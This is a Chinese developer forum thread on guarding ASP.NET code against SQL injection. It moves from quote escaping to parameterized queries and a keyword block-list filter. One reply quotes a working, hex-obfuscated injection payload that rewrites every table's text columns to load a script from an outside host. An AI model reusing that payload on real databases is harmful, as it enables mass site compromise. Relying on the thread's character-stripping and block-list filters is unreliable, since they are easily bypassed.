this.TextBox1.Text.Replace("'", "''").Replace("\"\"", "\"\"\"\"");
这样可以达到防注入问题吗?还有SQL注入攻击的方式,能给我个连接吗

解决方案 »

  1.   

    楼上的这样也好像不能真正防注入,你这样只是过滤几个字符而已,
    注入代码想这样的就不能过滤了:
    dEcLaRe%20@s%20vArChAr(4000);sEt%20@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f520d0a%20aS%20vArChAr(4000));exec(@s);
      

  2.   

    this.TextBox1.Text.Replace("'", "''").Replace("\"\"", "\"\"\"\""); 
    单引号替换是明白,两个双引号替换成四个又是怎么回事这样替换不够有没有完整点的
      

  3.   

    用存储过程就不用但是SQL注入式攻击了
      

  4.   


    在存储过程里面也不要拼SQL
      

  5.   

    "select * from product where id='"+TextBox1.text这样叫拼接是吗,还有其他什么是拼接没
      

  6.   

    select * from product where id=@id然后添加参数“id”值,就可以了,这样就防止了注入。
      

  7.   

     DataSet ds = db.GetDataSet("select * from category where english=1");
    没拼接的时候应该没什么问题吧!
      

  8.   

    使用参数的方法是可以防止注入式攻击的,绝对不要出现拼接SQL语句的现象,拼接SQL是注入式攻击成功的前提。
      

  9.   

    看看这几个贴子,已经很详细了~
    http://community.csdn.net/Expert/topicview.asp?id=5569710
    http://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.html
    http://topic.csdn.net/u/20080521/09/dad3eaba-bfc7-483c-98cd-d310f9a76ff0.html?seed=596201967
      

  10.   

    http://topic.csdn.net/u/20080510/16/e17ee949-6f13-481b-b6c9-134fc2187415.html
    http://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.html
    http://topic.csdn.net/u/20080510/16/4496591b-4672-4fb5-a188-3319369fca88.html
    曾经讨论防SQL注入时发的三个贴,给楼主参考一下.
    PS:我最后是用的给所有参数过滤的方法
             /// <summary>
            ///SQL注入过滤
             /// </summary>
            /// <param name="InText">要过滤的字符串</param>
            /// <returns>如果参数存在不安全字符,则返回true</returns>
            public  bool SqlFilter(string InText)
            {
                string word="and|exec|insert|select|delete|update|chr|mid|master|or|truncate|char|declare|join";
                if(InText==null)
                    return false;
                foreach(string i in word.Split('|'))
                {
                    if((InText.ToLower().IndexOf(i+" ")>-1)||(InText.ToLower().IndexOf(" "+i)>-1))
                    {
                        return true;
                    }
                }
                return false;
            } 
      

  11.   

    .Replace("'", "''").Replace("=", ""),如果要过滤这样够不够
      

  12.   

    如何返回True,一般怎么处理,我返回其他页面
      

  13.   

    参看:http://topic.csdn.net/u/20080529/09/44f8a53b-5ea6-4412-8bb6-730889523c7e.html
    的71楼